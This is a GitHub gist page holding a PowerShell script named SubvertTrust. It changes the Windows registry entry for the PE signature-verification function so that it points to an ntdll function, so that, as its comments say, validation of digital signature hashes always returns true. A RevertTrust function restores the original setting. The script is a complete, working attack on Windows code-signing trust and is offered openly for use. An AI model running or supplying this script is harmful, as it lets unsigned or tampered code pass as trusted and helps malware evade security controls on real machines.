-
-
Save ConsciousHacker/eebebd4af6de2c45367d37135a0d08d1 to your computer and use it in GitHub Desktop.
Borrowing Microsoft Code Signing Certificates
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
SubvertTrust v1.0 | |
License: GPLv3 | |
Author: @ConsciousHacker | |
Credits: @mattifestation | |
#> | |
function SubvertTrust | |
{ | |
$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData' | |
# PE SIP Guids | |
#{C689AAB9-8E78-11D0-8C47-00C04FC295EE} | |
#{C689AABA-8E78-11D0-8C47-00C04FC295EE} | |
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}' | |
$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\" | |
# Signed code reuse attack that will effectively return TRUE when the | |
# digitial signature hash validation function is called. | |
$NewDll = 'C:\Windows\System32\ntdll.dll' | |
$NewFuncName = 'DbgUiContinue' | |
$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll | |
$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName | |
} | |
function RevertTrust | |
{ | |
$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData' | |
# PE SIP Guids | |
#{C689AAB9-8E78-11D0-8C47-00C04FC295EE} | |
#{C689AABA-8E78-11D0-8C47-00C04FC295EE} | |
$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}' | |
$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\" | |
# Signed code reuse attack that will effectively return TRUE when the | |
# digitial signature hash validation function is called. | |
$NewDll = 'WINTRUST.DLL' | |
$NewFuncName = 'CryptSIPVerifyIndirectData' | |
$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll | |
$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName | |
} | |
################## | |
# Start a new process for the hijack to take effect. | |
# powershell | |
################## |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment